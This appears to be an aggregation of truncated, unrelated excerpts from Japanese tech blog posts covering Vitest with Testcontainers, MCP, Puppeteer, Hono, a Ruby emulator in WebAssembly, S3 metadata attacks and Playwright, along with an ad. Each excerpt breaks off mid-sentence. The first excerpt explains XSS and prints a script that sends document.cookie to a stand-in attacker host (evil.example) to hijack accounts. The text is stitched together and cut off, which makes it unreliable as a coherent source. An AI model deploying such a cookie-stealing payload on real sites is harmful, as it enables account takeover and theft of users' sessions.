問題1: 他ユーザーの認証情報にアクセスできてしまう 投稿されたコードを普通にサイト内に埋め込むとXSSがやり放題な状態になります。 認証CookieのHttpOnlyが無効になっている場合 ユーザーがたくさん集まる超面白いゲームを作り、その中に以下のようなコードをしれっと含めると、そのゲームを開いたユーザーのアカウントの乗っ取りが可能になります。 <script> // 1. Cookieを取得 const stolen = document.cookie; // 2. 攻撃者のサーバーに送信 const img = new Image(); img.src = "https://evil.example/steal?cookie=" + encodeURIComponent(stolen); </script> CookieのHttpOnly属性が無効になっていると、スクリプトからCo

Vitestではデフォルトでテストファイル毎に並列で実行されますが、DBも利用したテストになると、それぞれのテストで同じDBを参照してしまうことでテストが失敗するといったことが発生しかねません。 やもえず並列実行を抑止(fileParallelism: false)して実行していたのですが、テストが多くなるにつれテスト時間の短縮になる並列実行ができないことがネックになってきそうです。 そこで、Testcontainersを利用して並列数分DBコンテナを立ち上げて、それぞれ別々のDBに繋いでテストする方法を試してみることにしました。 Testcontainersは、Dockerコンテナを使ってテスト用の依存サービス(データベースやメッセージキューなど)を起動して利用できるようにするライブラリです。 Testcontainers 対象環境 パッケージマネージャ: pnpm DB: Postgr

はじめに Model Context Protocol (MCP) は、AIモデルとユーザーのデータソースを安全に接続するための規格です。 この記事では、MCP Serverの実装を通じて学んだ、MCPの技術概要や通信の仕様について解釈してみます。 MCPの技術的概要と通信インターフェース MCPとは何か Model Context Protocol (MCP) は、AIアシスタントと外部データソース・ツールを接続するための標準プロトコルです[1]。 ClaudeやCursorなどのAIアシスタントが、ユーザーの許可したデータにアクセスできるようにする橋渡し役を担います。 Core Architecture MCPはClient-Serverモデルのアーキテクチャに準拠しています[2]。 ホスト（Hosts）: Claude DesktopやCursor IDEなどのLLMアプリケーション

🕹 Puppeteer is a Node library which provides a high-level API to control headless Chrome or Chromium over the DevTools Protocol. This guide has recipes for automating Web Performance measurement with Puppeteer. An accompanying GitHub repository for this write-up is also available. Get a DevTools performance trace for a page load Puppeteer API: tracing.start() const puppeteer = require('puppeteer'

This page is a note to self. NEWREEL のインタビューで「スリットスキャンというテクニックにしたって、まだまだ全然出尽くしてない」なんて偉そうなことを言っていたので、以前から考えていた手法を半日かけて試しました。スリットスキャンらしさってのは一見あまりないんだけど、れっきとしたスリットスキャン。 どのようにスリットスキャンするとどういう画が出力されるのかをイメージするのって案外難しくて。だからこの手法は「時間をどう前後させるか?」ではなくて「映像の 1 コマ 1 コマを積層させて出来上がった金太郎飴を、どのような断面でカットしていくか?」と考えると分かりやすいです。 金太郎飴を垂直にサクサク薄切りしていくと、その断面は普通に映像を再生したように変化します。斜め切りすると、いわゆるスリットスキャン。そう考えると、当てる包丁の形は別に真っ直ぐじゃなくて良いわけ

はじめに 自作のRuby製ゲームボーイエミュレータ(Ruby Boy)を、WebAssemblyを使ってブラウザ上で動くようにしました！ リポジトリはこちら Ruby Boyの紹介記事はこちら この記事 どのようにしてRuby Boyをブラウザ上で動かしているかを説明します。 Rubyプログラムをブラウザ上で動かしたい人も参考になると思います。 システムの概要 Ruby製ファミコンエミュレータのOptcarrotをWasmで動かしているoptcarrot.wasmの実装を参考にしています。 +----------------+ DOM Events +----------------+ | index.html | (Keyboard & ROM) | index.js | | (Browser) |--------------------------->| (Main Thread) |

Hono アドベントカレンダー 2024 初日担当の おりばー です。 本記事では、11 月にリリースした漫画プラットフォーム「comilio」の開発事例をもとに、とにかく Hono が最強だということをつらつらと書いていく記事となります。 個人的 2024 年ベストオブ優勝フレームワークは Hono 一択です。Hono が無ければ、おそらくプロダクトを今もリリースできていなかったと言っても過言ではありません。 ぜひこの記事を参考にして、0 -> 1 を立ち上げる際は Hono を積極的に採用してもらえればと思います。 また、Hono という最高のプロダクトを生み出してくれた @yusukebe さんには全身全霊を持って感謝します。 「comilio」のインフラ構成 まず、今回の実例である漫画プラットフォーム「comilio」の構成を紹介します。 「comilio」では TypeScrip

例えば、Content-Typeメタデータの値を細工したオブジェクトを取得させることでXSSを発生させたり、Content-Dispositionメタデータを細工してRFD (Reflected File Download) を引き起こしたり、 x-amz-storage-classメタデータを操作して意図せぬストレージクラスを使用させEDoS (Economical Deninal of Sustainability)を発生させたり、といった攻撃が成立する可能性があります。 中でもContent-Typeを悪用したXSSは、S3の仕様や使用方法だけでなく、ブラウザの挙動にも注意を払う必要があり、アプリ開発者は攻撃の原理と対処を理解しておく必要があります。 9/21にAzaraさんとSecurity-JAWSのコラボで、この問題にフォーカスしたCTFイベント「とある海豹とSecurity-

この記事は以前 エンジニアと人生 というオンラインコミュニティで執筆し技術書典で頒布した本の中の、私の執筆した章をリライトしたものです。 無料公開の背景 本は有料で販売していたのでこの記事も有料記事にしようかとも思っていましたが、最近個人開発をネタにした特に中身のない記事を有料で買ってしまい後悔している友人を見かけて、そういうのにうんざりしていたので無料で公開することにしました。 個人開発云々いうなら中身のない情報商材じゃなくて自分のサービスで稼げよな！ ということで。でも投げ銭はありがたくいただくのでいいと思ったらバッジしてください！ 【追記】 上記に対して「有料記事がダメって事？」という反応を頂きました。書き方が悪く申し訳ありません。 有料でノウハウなどを販売する事は良いと思います！そしてそれでサービスの運営費を賄えるなら嬉しい事です。 なんならサービスに関する事ならこの記事の"データ

今まで id:mizdra はターミナルで Git ブランチを切り替えるときに、zsh + peco を使った Git ブランチ検索用のキーバインドを使用していた。 # .zshrc function select-git-branch() { selected_branch=$(git branch | cut -c 3- | peco) BUFFER="${LBUFFER}${selected_branch}${RBUFFER}" CURSOR=$#LBUFFER+$#selected_branch zle redisplay } zle -N select-git-branch bindkey '^b' select-git-branch zsh + peco で Git ブランチを切り替える様子 便利っちゃ便利なのだけど...沢山のブランチの中から「あの時作業していたあのブランチ」

相手に話が通じず物事を前に進めにくいと感じることがある。特に、階層化された組織の違うレイヤーの相手や他部署の相手の場合にありがちかもしれない。 そういう時はついついヒートアップしてしまい相手のせいにしてハレーションを生むような話し方をしてしまいがち。"相手が理解してくれないのは相手の頭が悪くて理解できないから"みたいな態度は相手に伝わり、関係がこじれてより一層物事を前に進めにくくなってしまう。 こういう時に感情的になってうまく対処できないのは解決のための引き出しが少ないのが原因なので、思いつく対処法を雑に書きとめておく。 いったん自責思考に切り替える あまりに話が通じないと感じると自分の方が賢くて相手が悪いみたいなスタンスになりがちなのでまずはリセットする 相手に勝とうとするのではなく、目的を思い出して相手も自分も勝つにはどうすればよいかを考えるよう切り替える ほぼ相手に非があることももち

2024/10/5 YAPC::Hakodate 2024

導入 PlaywrightやReg SuitなどのVRT（Visual Regression Testing）の結果は、HTMLで出力されます。Playwright のヘルプ1 でもレポートをダウンロードして確認する方法が記載されていますが毎回行うのは面倒です。また、レポートをGitHub Pagesにデプロイする方法もありますが、アクセス制限にはEnterpriseプランが必要だったり、Pull Requestごとの結果を保存するのに手間がかかるなどの問題があります 2 3。Amazon S3にレポートを置く方法もアクセス制限が面倒なことが知られています。 そこでこのエントリでは、レポートをCloudflare Pagesにデプロイする方法を紹介します。Cloudflare PagesにはPreview deployments4があるため、Pull Requestごとのレポートをデプロイ

こんにちは、yebis0942です。 先日、@basemachina/bm-view-previewというツールをnpmで公開しました。ベースマキナのビュー機能のソースコードをローカル環境で編集しながら、Next.jsのnpm run devのようにライブプレビューで動作を確認できるツールです。 ライブプレビューはPlaywrightによってコントロールされたChromiumで表示しています。PlaywrightをE2Eテストや自動化以外の用途で使うのは珍しい事例かと思いますので、その背景と実装の裏側についてご紹介します。 ビュー機能とは ローカル環境で開発したい bm-view-previewの内部構成 ライブラリとしてのPlaywright ブラウザを人の手で操作できるようにする ウィンドウを表示する ウィンドウのリサイズに対応する ダイアログを自動で閉じない できなかったこと アプリ

Rebuild your vibe-broken apps with Replay BuilderRebuild your apps with Replay Builder Learn More Own your tools with web apps that workBuild and customize web apps for you and your team in minutes.

顔認識技術を利用したアプリケーションは身近なところにあります。たとえば、カメラで映した顔に猫耳やリボンなどのスタンプを自由に追加できる加工アプリ「SNOW」や、ビデオ会議ツール「Zoom」、「Microsoft Teams」で使用できるフィルター機能などがあります。これらの機能は、フェイストラッキング技術を利用しています。 この技術はアプリだけでなく、ウェブブラウザ上でも実現できます。今回は、Googleが開発した機械学習用JavaScriptライブラリ「TensorFlow.js」を使って、ウェブカメラでリアルタイムに顔が認識されるデモを作成してみました。 TensorFlow.jsとは TensorFlow.jsは、Pythonで広く利用されている機械学習ライブラリ「TensorFlow」をJavaScript用にラップしたもので、ブラウザ上で機械学習モデルを手軽に利用できるようにする

はじめに StorybookとPlaywrightを連携してテストすることで、思っていた以上に良い開発体験が得られたので紹介します。 今回の記事で紹介するテストは以下のリポジトリで公開しています。 具体的には以下の点が最高でした。 独立したコンポーネント開発 Storybookを利用することで、UIコンポーネントを独立して開発・テストできます。これにより、コンポーネントの再利用性が向上し、効率的な開発が可能になります。 シナリオベースのテスト Playwrightを使ってシナリオベースのテストを実行できます。これにより、ユーザーの実際の操作に近い状況でのテストが可能となり、アプリケーションの品質を高めることができます。 クロスブラウザテストの容易さ Playwrightは、複数のブラウザでの自動テストをサポートしています。これにより、異なるブラウザでの動作検証が容易になり、互換性の問題を効

mattn氏が実践しているエンジニアリング最適なメモ術。アウトプットを継続するための方法論 2024年6月18日 mattn 大学卒業後、ソフトウェアハウスやSIerなどでソフトウェア開発に携わる。vi派生のテキストエディタVimの日本語化やプラグイン、Go言語などでOSS（オープンソースソフトウェア）の開発・コミュニティ運営に参加し、2019年からGoogle Developers Expert。2021〜2023年 GitHub Stars。著書に『みんなのGo言語』（2016年、2019年に改訂2版、技術評論社、共著）、『Go 言語プログラミングエッセンス』（2023年、2025年に改訂新版、技術評論社、単著）がある。関西在住。 X:@mattn_jp GitHub 前回はアウトプットとは何か、何のためアウトプットするのか、についてお話しました。筆者はこれまで、アウトプットのやり方で

WebAssembly Type Reflection JS APIと呼ばれるAPIのPolyfillを書いたので、その紹介です。WebAssemblyでスレッドを扱う際に少し便利になります。 WebAssembly Type Reflection JS APIとは WebAssembly Type Reflection JS APIは、WebAssemblyモジュールからimport/exportされる関数のシグネチャやメモリサイズの情報を取得するためのJavaScript APIです。 WebAssemblyモジュール自体にはそのような情報がもともと含まれており、処理系の中でも使っていたのですが、JavaScriptからその情報を取得するためのAPIが無かったため、新たにAPIが提案されました。 const module = await WebAssembly.compile(buff